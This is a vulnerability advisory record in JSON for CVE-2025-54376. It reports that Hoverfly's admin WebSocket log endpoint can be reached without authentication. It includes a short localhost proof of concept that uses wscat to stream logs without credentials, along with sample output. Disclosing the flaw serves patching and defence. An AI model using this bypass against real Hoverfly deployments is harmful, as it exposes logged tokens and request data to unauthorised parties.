{"schema_version":"1.7.3","id":"GHSA-jxmr-2h4q-rhxp","published":"2025-09-10T20:43:49Z","modified":"2025-09-24T21:14:07Z","aliases":["CVE-2025-54376","GO-2025-3945"],"summary":"WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled","details":"### Summary\nHoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API.\nConsequently, an unauthenticated remote attacker can:\n\n- Stream real-time application logs (information disclosure).\n- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.\n\n### PoC\n1. Start Hoverfly with authentication enabled:\n\n```\n./hoverfly -auth\n```\n\n2. Confirm REST API requires credentials:\n\n```\ncurl -i http://localhost:8888/api/v2/hoverfly/version\n```\n\n3. Connect to the WebSocket endpoint without credentials:\n\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\n# Connected (press CTRL+C to quit)\n# … logs stream immediately … (You would need to send a message to start receiving stream)\n```\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\nConnected (press CTRL+C to quit)\n> hi!\n< {\"logs\":[{\"level\":\"info\",\"msg\":\"Log level set to verbose\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"Using memory backend\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"User added successfully\",\"time\":\"2025-07-20T17:07:00+05:30\",\"username\":\"\"},{\"level\":\"info\",\"msg\":\"Enabling proxy authentication\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"Destination\":\".\",\"Mode\":\"simulate\",\"ProxyPort\":\"8500\",\"level\":\"info\",\"msg\":\"Proxy prepared...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"destination\":\".\",\"level\":\"info\",\"mode\":\"simulate\",\"msg\":\"current proxy configuration\",\"port\":\"8500\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"serving proxy\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"AdminPort\":\"8888\",\"level\":\"info\",\"msg\":\"Admin interface is starting...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"debug\",\"message\":\"hi!\",\"msg\":\"Got message...\",\"time\":\"2025-07-20T17:09:04+05:30\"}]}\n< ...\n< ...\n```\n\n### Impact\nAuthentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.","affected":[{"package":{"name":"github.com/SpectoLabs/hoverfly","ecosystem":"Go","purl":"pkg:golang/github.com/SpectoLabs/hoverfly"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.12.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-jxmr-2h4q-rhxp/GHSA-jxmr-2h4q-rhxp.json"}}],"references":[{"type":"WEB","url":"https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-jxmr-2h4q-rhxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54376"},{"type":"WEB","url":"https://github.com/SpectoLabs/hoverfly/commit/ffc2cc34563de67fe1a04f7ba5d78fa2d4564424"},{"type":"PACKAGE","url":"https://github.com/SpectoLabs/hoverfly"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2025-3945"}],"database_specific":{"cwe_ids":["CWE-200","CWE-287"],"github_reviewed":true,"github_reviewed_at":"2025-09-10T20:43:49Z","nvd_published_at":"2025-09-10T20:15:35Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}